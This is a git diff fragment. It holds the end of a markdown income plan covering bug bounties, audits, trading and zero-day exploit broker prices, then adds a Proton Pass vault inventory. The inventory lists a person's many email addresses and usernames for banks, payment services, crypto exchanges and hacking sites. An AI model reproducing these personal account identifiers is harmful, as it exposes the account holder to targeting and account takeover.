then calls come sporadically. + +**Timeline:** 2-4 weeks to first paid call. Income is supplementary ($1k-5k/month) unless you become a frequent expert. + +**Capital needed:** $0. + +**Why it fits:** Monetize your research knowledge directly. No deliverables, just phone calls. + +--- + +#### 7. Technical Writing (High-End) + +**What it is:** Writing paid technical articles, developer documentation, and ghostwriting for tech executives. + +**Demonstrated rates per article:** +- Twilio Blog: $500+ +- CircleCI: $300-600 +- DigitalOcean: $300-600 +- Auth0/Okta: $300-500 +- The New Stack: $300-800 +- Stack Overflow Blog: $400+ +- LogRocket: $350+ +- Smashing Magazine: $200-500 +- Draft.dev: retainers starting at $8k/month for agencies; individual writers $300-800/article + +**Ghostwriting:** +- LinkedIn ghostwriting retainers: $1k-5k/month per client +- 1 in 3 ghostwriters earn $100k+/year +- Nonfiction manuscript ghostwriting: $100k-150k+ per book + +**Newsletters (Substack):** +- The Pragmatic Engineer (Gergely Orosz): $1.5M+/year, 1M+ subscribers, $15/month subscription +- 50+ Substack authors earn $1M+/year +- Emily Atkin (climate) hit six figures within 6 months of launching + +**Timeline:** Immediate for article writing (submit to platforms above). Newsletter takes 6-18 months to reach meaningful income. + +**Capital needed:** $0. + +**Income ceiling:** $5k-15k/month from article writing alone. Newsletter: $10k-100k+/month if you build audience. + +**Why it fits:** Your writing skill is directly monetizable. Technical writing pays 3-10x what generic content writing pays. + +--- + +#### 8. Micro-SaaS / Niche Tools + +**What it is:** Building small, focused software tools that solve one specific problem for a niche audience. + +**Demonstrated examples (2024-2025):** +- RamenCRM (CRM for Japanese freelancers): ~$10k MRR +- EZ Fulfill (Shopify tracking upload): $8k MRR, 1 founder, built on weekends +- Vendor Hawk (Amazon listing hijack alerts): $12k MRR +- A chatbot tool: $0 to $15k MRR within months +- 44% of profitable SaaS businesses are now run by solo founders (Stripe 2024) + +**Realistic timeline:** +- $1k MRR: 2-6 months +- $10k MRR: 9-18 months +- 70% of micro-SaaS businesses generate under $1k/month + +**Capital needed:** $0-500 (hosting, domain). + +**Strategy:** Build with AI assistance to ship in days/weeks, not months. Target niches you understand. Charge from day one. + +**Acquisition path:** Build to $5k-20k MRR, sell on Acquire.com for 3-5x annual revenue ($180k-$1.2M). Repeat. + +**Income ceiling:** $10k-100k+/month for the winners. Most fail. + +--- + +### Tier B: Supplementary or Slower Paths + +--- + +#### 9. Prop Trading (Funded Accounts) + +**What it is:** Pass an evaluation challenge at a prop firm (FTMO, FundedNext), then trade their capital and keep 80-90% of profits. + +**Demonstrated data:** +- FTMO has paid $450M+ to traders since launch +- FundedNext paid $85.5M in 2024 alone +- Accounts up to $200k (scaling to $2M) +- 80-90% profit split +- Pass rate: 5-10% + +**Capital needed:** $100-500 for evaluation fees. + +**Timeline:** Weeks to months depending on strategy development. + +**Why it's Tier B:** 90-95% fail rate. Requires genuine trading edge, not just math skill. But if you have one, the leverage is extraordinary. + +--- + +#### 10. Competitive Auditing Contests (Code4rena, Sherlock, CodeHawks) + +Already covered under #1, but worth noting the specific economics: + +**Code4rena:** Open participation, prize pools typically $20k-200k per contest, split among wardens who find valid bugs. Duration: 3-7 days per contest. + +**Sherlock:** Lead Senior Watson model gives a guaranteed cut to top researchers. Smaller community, potentially less competition. + +**CodeHawks:** Cyfrin's platform, growing. $1.9M+ paid to auditors total. + +**Cantina:** Newer, quality-focused. + +--- + +#### 11. Open Source Grants and Funding + +**What it is:** Getting paid to build or maintain open source software through grants. + +**Funding sources:** +- NLnet: 5k-50k EUR per grant, rolling deadlines (1st of every even month) +- Sovereign Tech Fund: Germany, invested 23M EUR in 60 OSS projects (2022-2024) +- GitHub Fund: $1.25M fund focused on security +- GitHub Sponsors: varies widely +- FOSS Fund (floss.fund): newer initiative +- Protocol Labs, Ethereum Foundation, etc. for crypto-adjacent work + +**Timeline:** 1-3 months from application to funding. Grant work is project-based. + +**Capital needed:** $0. + +**Income ceiling:** $50k-100k/year from grants alone. Better as supplementary income while building reputation. + +--- + +#### 12. Research Grants and Fellowships + +**Emergent Ventures:** +- Run by Tyler Cowen at Mercatus Center (George Mason University) +- Low-overhead grants for "zero to one" ideas +- Welcomes the unusual and unorthodox +- No age limit. Global applicants. +- Dedicated support for India, Africa/Caribbean, Ukraine projects +- Grant size: typically $10k-50k + +**Thiel Fellowship:** +- $200,000 over two years (raised from $100k starting 2025 class) +- Must be 22 or younger +- Drop out of school to pursue ventures +- No equity taken +- If you qualify by age, this is free money + +**Other unconventional fellowships:** +- Shuttleworth Foundation: $275k/year + $100k project funding +- Mozilla Foundation grants +- Recurse Center (not a grant, but 12-week retreat, free, strong network) +- 1517 Fund (Thiel-adjacent, invests in dropouts) + +--- + +#### 13. Zero-Day Research / Exploit Brokerage + +**What it is:** Finding and selling zero-day vulnerabilities to brokers like Zerodium. + +**Zerodium price list:** +- iOS full chain zero-click: up to $2.5M +- iOS remote jailbreak: $2M +- Android full chain zero-click: $2.5M +- WhatsApp/iMessage RCE: $1M-1.5M +- Chrome RCE + sandbox escape: $500k +- Tor Browser on Tails: $1M +- Windows RCE: $300k + +**Reality check:** This is the extreme end of security research. Finding a single qualifying exploit could take months or years. It requires deep systems knowledge (OS internals, memory corruption, exploit development). But a single sale can be life-changing money. + +**Capital needed:** $0. Time only. + +**Timeline:** 6-24 months to develop the skill. Indefinite time to find a qualifying bug. + +--- + +#### 14. CTF Competitions + +**Prize money is modest compared to other paths:** +- Hackerverse CTF: $100k pool (year-long, team-based) +- Google CTF: $12.3k first place +- Kaspersky SAS CTF: $18k pool +- Most CTFs: $0-3k prizes + +**Better value as skill development** for bug bounties and audit contests than as direct income. + +--- + +#### 15. Algorithmic / Quantitative Trading (Own Capital) + +**Realistic returns with small capital:** +- New algo traders: 5-15% annual returns +- Experienced algo strategies: 15-25% annually +- HFT market-making: 8-12% annually (requires infrastructure) + +**With $10k starting capital, even 25% annual = $2,500/year.** Not meaningful at small scale. Only viable if you can: +1. Develop and validate a strategy +2. Scale through prop firms (see #9) +3. Attract investor capital once you have a track record + +**Platforms:** QuantConnect, Alpaca, Interactive Brokers API, Backtrader + +--- + +### Tier C: Long-Shot or Supplementary + +--- + +#### 16. Kaggle / ML Competitions + +**Prize pools are significant but competition is brutal:** +- 400+ ML competitions in 2024, $22M+ total prize money +- ARC Prize 2025: $125k + $600k bonus for 85% score +- Konwinski Prize: $1M for closing 90% of GitHub issues +- Most competitions: $10k-50k pools split among top teams + +**Better as resume/reputation builder** than income source. Top Kaggle rankings lead to consulting gigs and job offers. + +--- + +#### 17. Academic Paper Writing / Research Assistance + +**Legitimate paid research:** +- ResearchGate, academia.edu for visibility +- Freelance statistical analysis for PhD students/professors +- Rates: $50-150/hr for statistical consulting +- Some companies hire freelance researchers for literature reviews + +**Income ceiling:** $3k-8k/month. More of a bridge income. + +--- + +#### 18. OSINT / Competitive Intelligence Consulting + +**Rates:** $18-103/hr on platforms, $100-300/hr for specialized OSINT consulting + +**Platforms:** Upwork, Freelancer, direct outreach to law firms, PI firms, corporate intelligence + +**Income ceiling:** $5k-15k/month freelance. + +--- + +## PILLAR II: MULTIPLY + +Once earning, these strategies compound income: + +### 1. Reputation Stacking +Each audit finding, bug bounty, and published article compounds your reputation. A Code4rena top-10 leaderboard position leads to solo audit requests at $30k-100k per engagement. HackerOne reputation leads to private program invitations with higher payouts. + +### 2. Build-to-Sell SaaS +Use income from consulting/auditing to fund micro-SaaS experiments. Build in weeks, validate fast, sell on Acquire.com for 3-5x annual revenue if it works. Each flip provides capital for the next. + +### 3. Content Leverage +Every audit report can become a blog post. Every bug can become a tutorial. Build a technical newsletter (Substack) alongside your primary income streams. The Pragmatic Engineer went from $0 to $1.5M/year in 3.5 years this way. + +### 4. Crypto Exposure +Smart contract auditing naturally exposes you to early-stage protocols. Some auditors receive token allocations alongside cash payment. This is not investment advice, but the upside optionality is real. + +### 5. Expert Network Compounding +Once on GLG/AlphaSights, your domain expertise (AI, crypto security, DeFi) gets you $250-500/hr calls that take zero prep time. Pure margin on knowledge you already have. + +### 6. Prediction Market Reinvestment +Profits from Polymarket arbitrage bots compound. Scale capital as strategies prove out. Diversify across uncorrelated markets. + +--- + +## PILLAR III: PRESERVE + +### 1. Low Burn Rate +You already have this. Simple lifestyle and low expenses mean every dollar earned goes further. A $5k/month burn rate means $40k/month income is $35k/month surplus. + +### 2. Tax Optimization +- Freelance/consulting income: consider S-Corp election after $50k/year to save on self-employment tax +- Crypto earnings have specific tax implications; use Koinly or similar for tracking +- Bug bounty income is 1099 income; set aside 25-30% for taxes +- Consider a solo 401(k) for tax-deferred savings ($23k/year employee + employer match) + +### 3. Emergency Runway +Keep 6 months of expenses liquid. Volatile income streams (bounties, trading) require larger buffers. + +### 4. Avoid Lifestyle Creep +The biggest wealth destroyer for high earners. Your advantage is already having a minimalist orientation. Protect it. + +--- + +## RECOMMENDED STRATEGY: THE STACK + +Run these simultaneously, prioritized by expected value: + +### Months 1-3: Foundation +1. **Learn Solidity + smart contract security** (6-8 hrs/day). Use Cyfrin Updraft, Damn Vulnerable DeFi, past Code4rena reports. +2. **Take RLHF/AI training gigs** on Mercor, Scale AI, DataAnnotation for immediate cash ($40-80/hr, 2-3 hrs/day). +3. **Write 2-3 paid technical articles/month** ($300-800 each) on DigitalOcean, LogRocket, Auth0. +4. **Apply** to Emergent Ventures, all expert networks (GLG, AlphaSights, Guidepoint). + +**Expected income: $3k-8k/month** + +### Months 4-6: Ramp +1. **Enter first Code4rena/Sherlock contests.** Expect modest early earnings ($0-3k/month). +2. **Start bug bounty hunting** on HackerOne (web2) and Immunefi (web3) simultaneously. +3. **Build a Polymarket arbitrage bot** as a side project. Deploy with small capital. +4. **Increase AI consulting rate** as portfolio grows. Target $100-150/hr. +5. **Launch a technical newsletter** (Substack) covering smart contract security findings. + +**Expected income: $8k-20k/month** + +### Months 7-12: Scale +1. **Competitive auditing** should be producing $5k-20k/month by now if you have the skill. +2. **Transition to solo audits** as reputation builds. Charge $20k-50k per engagement. +3. **Bug bounties** on Immunefi for high-severity findings ($10k-100k+ per critical). +4. **AI consulting** at $150-250/hr for select clients. +5. **Newsletter** growing organically; consider paid tier. + +**Expected income: $20k-50k/month** + +### Month 12+: Compound +1. **Solo audit practice** generating bulk of income. +2. **Newsletter** as passive income layer. +3. **Expert network calls** for zero-effort supplementary income. +4. **Micro-SaaS** experiments with surplus capital. +5. **Prediction market** strategies running autonomously. + +**Target: $40k+/month** + +--- + +## HIGHEST-CONVICTION PLAYS (Ranked) + +1. **Smart contract auditing** (Code4rena -> Immunefi -> solo audits): Best risk/reward ratio for your profile. $0 capital. Pure skill. Demonstrated $172k/year path with year-one data. + +2. **AI/LLM consulting**: Immediate income, $100-400/hr rates, massive demand. Bridge income while building audit reputation. + +3. **Prediction market arbitrage**: Small capital, automated, leverages math + programming. Variable but uncapped upside. + +4. **Technical newsletter (Substack)**: Slow build but compounds forever. The Pragmatic Engineer proves $1.5M/year is possible in tech. + +5. **Bug bounties**: Complements audit skills. Low floor but very high ceiling ($2M lifetime for top hunters). + +--- + +## SOURCES + +- [HackerOne $81M Payout Report](https://www.bleepingcomputer.com/news/security/hackerone-paid-81-million-in-bug-bounties-over-the-past-year/) +- [Six HackerOne Millionaires](https://www.hackerone.com/press-release/six-hackers-break-bug-bounty-record-earning-over-1-million-each-hackerone) +- [Immunefi $100M Milestone](https://www.theblock.co/post/301025/web3-immunefi-ethical-hacker-payouts) +- [MiloTruck: A Year of Competitive Audits](https://milotruck.github.io/blog/A-year-of-Competitive-Audits/) +- [Code4rena First $1M Stats](https://cmichel.io/code4rena-first-1m-stats/) +- [Smart Contract Auditor Salary Guide 2025](https://www.cyfrin.io/blog/smart-contract-security-auditor-salary) +- [Polymarket 2025 Profit Models Report](https://www.chaincatcher.com/en/article/2233047) +- [Polymarket Traders Leaderboard](https://polymarketanalytics.com/traders) +- [Pragmatic Engineer Newsletter ($1.5M/year)](https://growthinreverse.com/gergely/)) +- [Substack Revenue Statistics](https://backlinko.com/substack-users) +- [Solo SaaS Metrics: $0 to $10k MRR](https://www.softwareseni.com/solo-founder-saas-metrics-from-0-to-10k-mrr-in-6-months-with-realistic-timelines/) +- [Micro-SaaS Examples 2025](https://www.flowjam.com/blog/27-micro-saas-examples-that-actually-print-money-in-2025) +- [AI Freelance Rates 2025-2026](https://www.index.dev/blog/freelance-developer-rates-by-country) +- [Mercor RLHF Pay Rates](https://builtin.com/articles/train-ai-side-hustle) +- [Zerodium Price List](https://zerodium.com/) +- [FTMO Prop Trading Payouts](https://www.financemagnates.com/forex/ftmo-announces-over-450-million-paid-out-as-prop-trading-firm-turns-10/) +- [Emergent Ventures](https://www.mercatus.org/emergent-ventures) +- [Thiel Fellowship 2025 ($200k)](https://www.businesswire.com/news/home/20250522267532/en/Thiel-Foundation-Announces-2025-Class-of-Thiel-Fellows) +- [NLnet Funding](https://nlnet.nl/funding.html) +- [15+ Websites That Pay for Technical Articles](https://dev.to/crescentforeal/15-websites-that-pay-you-to-write-technical-articles-in-2025-1jhm) +- [Expert Network Rates (AlphaSights)](https://expertopportunities.com/alphasights-review/) +- [Freelance DS/ML Consulting Rates](https://www.contractrates.fyi/Data-Science-Machine-Learning-Consulting/hourly-rates) +- [Kaggle/ML Competition Landscape 2024](https://mlcontests.com/state-of-machine-learning-competitions-2024/) +- [Gwern Branwen Patreon Model](https://www.patreon.com/gwern/about) diff --git a/doc/pass.md b/doc/pass.md new file mode 100644 index 0000000000000000000000000000000000000000..34b056b6b328c211114e46ca767f77cf7e24c7c5 --- /dev/null +++ b/doc/pass.md @@ -0,0 +1,1526 @@ +# Proton Pass Master Inventory + +Permanent ledger. Strike through deleted items to prevent re-importing dupes. +PW column: SAME = all dupes have identical password, DIFF = password changed at some point. + +**Vault:** Claude Code Audit | **Items:** 3,944 | **Platforms:** 823 | **Unique accounts:** 1261 + +--- + +## Apple + +**Apple ID**: + - [x] deduped [ ] rotated (none) + - [x] deduped [ ] rotated 28rank160@gmail.com + - [x] deduped [ ] rotated 3318019271 + - [x] deduped [ ] rotated chriscross3x@gmail.com + - [x] deduped [ ] rotated chrislamarcoleman@protonmail.com + - [x] deduped [ ] rotated chrisoflove9@gmail.com + - [x] deduped [ ] rotated chrisoflove@icloud + - [x] deduped [ ] rotated chrisoflove@icloud.com + - [x] deduped [ ] rotated chrissenpaiii@gmail.com + - [x] deduped [ ] rotated coachdonlamar47@gmail.com + - [x] deduped [ ] rotated curry30klay11@icloud.com + - [x] deduped [ ] rotated kriskrazy@icloud.com + - [x] deduped [ ] rotated krisxkrazy3@gmail.com + - [x] deduped [ ] rotated krisxkrazy4@gmail.com + - [x] deduped [ ] rotated krisxkrazy@gmail.com + - [x] deduped [ ] rotated laelyotam@gmail.com + - [x] deduped [ ] rotated miyamamasa8@gmail.com + - [x] deduped [ ] rotated p456789@icloud.com + - [x] deduped [ ] rotated thevirtuousqueen1@gmail.com + - [x] deduped [ ] rotated worldmama34@gmail.com + - [x] deduped [ ] rotated yasugenshi@gmail.com +- [x] deduped [ ] rotated **Apple Store**: kriskrazy@icloud.com + + +## Google + +**Google**: + - [x] deduped [ ] rotated (none) [note] + - [x] deduped [ ] rotated ccoleman@mobilegenerationinc.com + - [x] deduped [ ] rotated chris.diffrent@gmail.com + - [x] deduped [ ] rotated chrislamarcoleman@protonmail.com + - [x] deduped [ ] rotated chrissenpaiii@gmail.com + - [x] deduped [ ] rotated krisxkrazy4@gmail.com + - [x] deduped [ ] rotated krisyotam@lcorpnow.com + - [x] deduped [ ] rotated krisyotam@outlook.com + - [x] deduped [ ] rotated laelyotam@gmail.com +- [x] deduped [ ] rotated **Google (GDS)**: skyon360hz@gmail.com +**Google (Play Services)**: + - [x] deduped [ ] rotated (none) + - [x] deduped [ ] rotated 28rank160@gmail.com + - [x] deduped [ ] rotated ccoleman@mobilegenerationinc.com + - [x] deduped [ ] rotated chrisoflove9@gmail.com + - [x] deduped [ ] rotated clickthisway2004@gmail.com + - [x] deduped [ ] rotated estars471@gmail.com + - [x] deduped [ ] rotated ihackgames314@gmail.com + - [x] deduped [ ] rotated krispuremaths@gmail.com + - [x] deduped [ ] rotated krisxkrazy2@gmail.com + - [x] deduped [ ] rotated krisxkrazy3@gmail.com + - [x] deduped [ ] rotated krisxkrazy5@gmail.com + - [x] deduped [ ] rotated krisxkrazy@gmail.com + - [x] deduped [ ] rotated krisyotam@outlook.com + - [x] deduped [ ] rotated laelyotam@gmail.com + - [x] deduped [ ] rotated skyon360hz@gmail.com + - [x] deduped [ ] rotated typhooncr33@gmail.com + - [x] deduped [ ] rotated wakandaforever592@gmail.com + - [x] deduped [ ] rotated yasugenshi@gmail.com +- [x] deduped [ ] rotated **Google Workspace**: krisyotam@yotam.vip + + +## Microsoft + +- [x] deduped [ ] rotated **Microsoft**: (none) +- [x] deduped [ ] rotated **Microsoft 365**: colema2@iu.edu +**Microsoft/Outlook**: + - [x] deduped [ ] rotated c1y_khr1st + - [x] deduped [ ] rotated c1y_khr1st@outlook.com + - [x] deduped [ ] rotated ccolmean99@my.devry.com + - [x] deduped [ ] rotated chrissenpaiii@gmail.com + - [x] deduped [ ] rotated christian.coleman89@t-mobile.com + - [x] deduped [ ] rotated esma3015@outlook.com + - [x] deduped [ ] rotated kris@kriskrazy.com + - [x] deduped [ ] rotated krisxkrazy@gmail.com + - [ ] deduped [ ] rotated krisyotam@outlook.com (5x) | **DIFF** + - [x] deduped [ ] rotated laelyotam@gmail.com + - [x] deduped [ ] rotated s434.5.6.7.7@outlook.com +- [x] deduped [ ] rotated **www.blue365deals.com**: laelyotam@gmail.com + + +## Security & Password Managers + +**1Password**: + - [x] deduped [ ] rotated Kris Krazy + - [x] deduped [ ] rotated krisxkrazy@gmail.com + - [x] deduped [ ] rotated krisyotam@outlook.com + - [x] deduped [ ] rotated laelyotam@gmail.com +- [ ] deduped [ ] rotated **Authy**: (none) (4x) | **DIFF** +**Dashlane**: + - [x] deduped [ ] rotated c1y_khr1st@outlook.com + - [x] deduped [ ] rotated laelyotam@gmail.com +- [x] deduped [ ] rotated **Ente Auth**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **Keeper**: laelyotam@gmail.com +**LastPass**: + - [x] deduped [ ] rotated chrissenpaiii@gmail.com + - [x] deduped [ ] rotated clickthisway2004@gmail.com + - [x] deduped [ ] rotated krisxkrazy7@gmail.com + - [x] deduped [ ] rotated laelyotam@protonmail.com +- [x] deduped [ ] rotated **Notesnook (krisyotam@protonmail.com)**: (none) [note] +**Proton**: + - [x] deduped [ ] rotated cryptochris8@protonmail.com + - [x] deduped [ ] rotated elaraleclair@protonmail.com + - [x] deduped [ ] rotated krisxkrazy@protonmail.com + - [x] deduped [ ] rotated krisyotam@protonmail.com + - [x] deduped [ ] rotated laelyotam@protonmail.com +- [x] deduped [ ] rotated **Proton Drive**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **Proton Mail**: chrislamarcoleman@protonmail.com +- [x] deduped [ ] rotated **Proton Pass**: krisyotam@protonmail.com +**Proton VPN**: + - [x] deduped [ ] rotated krisxkrazy + - [x] deduped [ ] rotated krisyotam@protonmail.com + - [x] deduped [ ] rotated laelyotam@protonmail.com +- [x] deduped [ ] rotated **Stripe (chrislamarcoleman@protonmail.com)**: (none) [note] +- [x] deduped [ ] rotated **Vercel (krisyotam@protonmail.com) Recovery Codes**: (none) [note] + + +## Hacking & CTF + +**0x00sec**: + - [ ] deduped [ ] rotated khr1st (5x) | **DIFF** + - [x] deduped [ ] rotated krisctf +**app.hackviser.com**: + - [x] deduped [ ] rotated khr1st + - [x] deduped [ ] rotated krisyotam@outlook.com +- [x] deduped [ ] rotated **forum.hackersploit.org**: khr1st +**HackerOne**: + - [x] deduped [ ] rotated f010af036a3c47fa + - [x] deduped [ ] rotated kris@kriskrazy.com + - [ ] deduped [ ] rotated laelyotam@gmail.com (5x) | **DIFF** +**HackForums**: + - [x] deduped [ ] rotated khr1st + - [x] deduped [ ] rotated l1m1t +- [x] deduped [ ] rotated **hackingfather.com**: khr1st +**HackTheBox**: + - [x] deduped [ ] rotated (none) [note] + - [x] deduped [ ] rotated c1y_khr1st@outlook.com + - [x] deduped [ ] rotated ccoleman99@my.devry.edu + - [x] deduped [ ] rotated chrisoflove9@gmail.com + - [x] deduped [ ] rotated chrissenpaiii@gmail.com + - [x] deduped [ ] rotated clickthisway2004@gmail.com + - [x] deduped [ ] rotated kris + - [x] deduped [ ] rotated kris@kriskrazy.com + - [x] deduped [ ] rotated krisctf + - [x] deduped [ ] rotated krisyotam@outlook.com + - [x] deduped [ ] rotated laelyotam@gmail.com + - [x] deduped [ ] rotated laelyotam@protonmail.com + - [x] deduped [ ] rotated typhooncr33@gmail.com + - [x] deduped [ ] rotated yasugenshi@gmail.com +**HackTheBox Academy**: + - [x] deduped [ ] rotated c1y_khr1st@outlook.com + - [x] deduped [ ] rotated ccoleman99@my.devry.edu + - [x] deduped [ ] rotated laelyotam@gmail.com +**HackTheBox CTF**: + - [x] deduped [ ] rotated c1y_khr1st@outlook.com + - [x] deduped [ ] rotated krisctf + - [x] deduped [ ] rotated krisyotam@outlook.com + - [x] deduped [ ] rotated laelyotam@gmail.com +- [x] deduped [ ] rotated **login.intigriti.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **pentesterlab.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **play.picoctf.org**: krisctf +**TryHackMe**: + - [x] deduped [ ] rotated (none) [note] + - [x] deduped [ ] rotated 7R1X + - [x] deduped [ ] rotated E73RN17Y + - [x] deduped [ ] rotated K4W411 + - [x] deduped [ ] rotated M1KU + - [x] deduped [ ] rotated P41NC3 + - [x] deduped [ ] rotated c1y_khr1st + - [x] deduped [ ] rotated colema2@iu.edu + - [x] deduped [ ] rotated khr1st + - [x] deduped [ ] rotated krisctf + - [x] deduped [ ] rotated krisofakind + - [x] deduped [ ] rotated krisxkrazy + - [x] deduped [ ] rotated krisyotam + - [x] deduped [ ] rotated r3start + + +## Banking & Finance + +- [x] deduped [ ] rotated **accounts.creditkarma.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **affirm.com**: (none) [alias] +**Bank of America**: + - [x] deduped [ ] rotated 823470 + - [x] deduped [ ] rotated krisofakind +**Capital One**: + - [x] deduped [ ] rotated Coleman + - [x] deduped [ ] rotated krisofakind + - [x] deduped [ ] rotated mrch*********** + - [x] deduped [ ] rotated mrchriscole2 +- [x] deduped [ ] rotated **Capital One Shopping**: laelyotam@gmail.com +**Charles Schwab**: + - [x] deduped [ ] rotated (none) [note] + - [x] deduped [ ] rotated krisofakind + - [x] deduped [ ] rotated krisyotam +**Chase**: + - [x] deduped [ ] rotated 40510840 + - [ ] deduped [ ] rotated cc****an (31x) | **DIFF** + - [ ] deduped [ ] rotated cc0leman (36x) | **DIFF** +**Discover**: + - [x] deduped [ ] rotated kr******nd + - [x] deduped [ ] rotated krisofakind +- [x] deduped [ ] rotated **education.intuit.com**: krisyotam +**Fidelity**: + - [x] deduped [ ] rotated (none) [note] + - [x] deduped [ ] rotated krisyotam +**Intuit**: + - [x] deduped [ ] rotated krisofakind + - [x] deduped [ ] rotated krisyotam@outlook.com +- [x] deduped [ ] rotated **jpmpb001.jpmorgan.com**: cc0leman +**Mercury**: + - [x] deduped [ ] rotated chrislamarcoleman@protonmail.com + - [x] deduped [ ] rotated krisyotam@outlook.com +**Mint/Intuit**: + - [x] deduped [ ] rotated krisyotam + - [x] deduped [ ] rotated laelyotam@gmail.com +**Plaid**: + - [x] deduped [ ] rotated (none) + - [x] deduped [ ] rotated krisofakind + - [x] deduped [ ] rotated krisyotam + - [x] deduped [ ] rotated laelyotam@gmail.com +- [x] deduped [ ] rotated **Revolut**: (none) [note] +- [x] deduped [ ] rotated **SoFi**: laelyotam@gmail.com +**UFB Direct**: + - [x] deduped [ ] rotated 08/05/2004 + - [x] deduped [ ] rotated krisyotam +- [x] deduped [ ] rotated **US Bank**: krisyotam +**usa.experian.com**: + - [x] deduped [ ] rotated chrislamarcoleman@protonmail.com + - [x] deduped [ ] rotated krisyotam@outlook.com + + +## Payments & Crypto + +**Coinbase**: + - [x] deduped [ ] rotated dlspeaks4u@gmail.com + - [x] deduped [ ] rotated laelyotam@gmail.com +- [x] deduped [ ] rotated **crypto.com**: kris@kriskrazy.com +- [x] deduped [ ] rotated **kraken.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **paxful.com**: krisxkrazy@gmail.com +**PayPal**: + - [x] deduped [ ] rotated 60559 + - [x] deduped [ ] rotated kris@kriskrazy.com + - [x] deduped [ ] rotated krisxkrazy@gmail.com + - [x] deduped [ ] rotated krisyotam@outlook.com + - [x] deduped [ ] rotated krisyotam@protonmail.com + - [x] deduped [ ] rotated laelyotam@gmail.com +- [x] deduped [ ] rotated **PayPal (Merchant)**: kris@kriskrazy.com +**Stripe**: + - [x] deduped [ ] rotated (none) + - [ ] deduped [ ] rotated chrislamarcoleman@protonmail.com (2x) | **DIFF** + - [x] deduped [ ] rotated krisyotam@outlook.com + - [x] deduped [ ] rotated skyon360hz@gmail.com +- [x] deduped [ ] rotated **Taho Wallet**: (none) [note] + + +## Shopping & Hosting + +- [x] deduped [ ] rotated **admin.stan.store**: krisyotam +**Amazon**: + - [x] deduped [ ] rotated (none) + - [x] deduped [ ] rotated 17734180521 + - [x] deduped [ ] rotated 3318019271 + - [x] deduped [ ] rotated chrislamarcoleman@protonmail.com + - [x] deduped [ ] rotated kris@kriskrazy.com + - [x] deduped [ ] rotated krisyotam@lcorpnow.com + - [ ] deduped [ ] rotated laelyotam@gmail.com (11x) | **DIFF** + - [x] deduped [ ] rotated yasugenshi@gmail.com +**app.gumroad.com**: + - [x] deduped [ ] rotated (none) + - [x] deduped [ ] rotated krisyotam@outlook.com + - [x] deduped [ ] rotated laelyotam@gmail.com +- [x] deduped [ ] rotated **dash.cloudflare.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **dbrand.com**: chrislamarcoleman@protonmail.com +**eBay**: + - [x] deduped [ ] rotated (none) + - [x] deduped [ ] rotated clickthisway2004@gmail.com + - [x] deduped [ ] rotated kris@kriskrazy.com + - [x] deduped [ ] rotated krisxkrazy + - [x] deduped [ ] rotated krisyotam + - [x] deduped [ ] rotated krisyotam@outlook.com + - [x] deduped [ ] rotated laelyotam@gmail.com + - [x] deduped [ ] rotated shopping.radial298@aleeas.com +**Etsy**: + - [x] deduped [ ] rotated Christian + - [x] deduped [ ] rotated Emily + - [x] deduped [ ] rotated PromptWorks + - [x] deduped [ ] rotated TheEbookEmporium + - [x] deduped [ ] rotated clickthisway2004@gmail.com + - [x] deduped [ ] rotated krisyotam@outlook.com + - [x] deduped [ ] rotated laelyotam@gmail.com + - [x] deduped [ ] rotated realcolemanfam@gmail.com +**GoDaddy**: + - [x] deduped [ ] rotated krisxkrazy + - [x] deduped [ ] rotated krisxkrazy@gmail.com + - [x] deduped [ ] rotated krisyotam +**IONOS**: + - [x] deduped [ ] rotated 313382981 + - [x] deduped [ ] rotated clickthisway2004@gmail.com + - [x] deduped [ ] rotated ionos@krisyotam.com + - [x] deduped [ ] rotated kriskrazy.com + - [x] deduped [ ] rotated krisyotam@outlook.com +**Ko-fi**: + - [x] deduped [ ] rotated colema2@iu.edu + - [x] deduped [ ] rotated kris@kriskrazy.com + - [x] deduped [ ] rotated kris@krisxkrazy.com + - [x] deduped [ ] rotated yeskriswrites@gmail.com +- [x] deduped [ ] rotated **namecheap.com**: krisyotam +- [x] deduped [ ] rotated **portal.aws.amazon.com**: kris@kriskrazy.com +- [x] deduped [ ] rotated **printify.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **robot.hetzner.com**: chrislamarcoleman@protonmail.com +- [x] deduped [ ] rotated **secure.newegg.com**: laelyotam@gmail.com +**Shopify**: + - [x] deduped [ ] rotated krisyotam01@gmail.com + - [x] deduped [ ] rotated krisyotam@lcorpnow.com + - [x] deduped [ ] rotated krisyotam@outlook.com +- [x] deduped [ ] rotated **signin.aws.amazon.com**: kris@kriskrazy.com +- [x] deduped [ ] rotated **Vultr**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **www.vultr.com**: kriskrazy@icloud.com +- [x] deduped [ ] rotated **www.walmart.com**: krisxkrazy@gmail.com +- [x] deduped [ ] rotated **www.wayfair.com**: krisyotam@outlook.com + + +## Dev & Self-Hosted + +**10.0.0.142**: + - [x] deduped [ ] rotated kris + - [x] deduped [ ] rotated kris@krisyotam.com + - [ ] deduped [ ] rotated krisyotam@protonmail.com (3x) | **DIFF** +- [x] deduped [ ] rotated **admin.donlamar.com**: coachdonlamar@gmail.com +- [x] deduped [ ] rotated **admin.krisyotam.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **codeberg.org**: krisyotam +- [x] deduped [ ] rotated **desec.io**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **Dokploy**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **ghost-tonya.krisyotam.com**: mrstcoleman@protonmail.com +- [x] deduped [ ] rotated **gist.krisyotam.com**: krisyotam +**git.krisyotam.com**: + - [x] deduped [ ] rotated krisyotam + - [x] deduped [ ] rotated krisyotam@protonmail.com +**GitHub**: + - [x] deduped [ ] rotated allytaffet + - [x] deduped [ ] rotated coachdonlamar@protonmail.com + - [x] deduped [ ] rotated github@krisyotam.com + - [x] deduped [ ] rotated imkhr1st + - [ ] deduped [ ] rotated krisctf (6x) | **DIFF** + - [x] deduped [ ] rotated kriscw + - [x] deduped [ ] rotated krislael + - [x] deduped [ ] rotated krisofakind + - [x] deduped [ ] rotated krisxkrazy + - [ ] deduped [ ] rotated krisyotam (4x) | **DIFF** + - [x] deduped [ ] rotated laelyotam + - [x] deduped [ ] rotated sophiavscato +- [x] deduped [ ] rotated 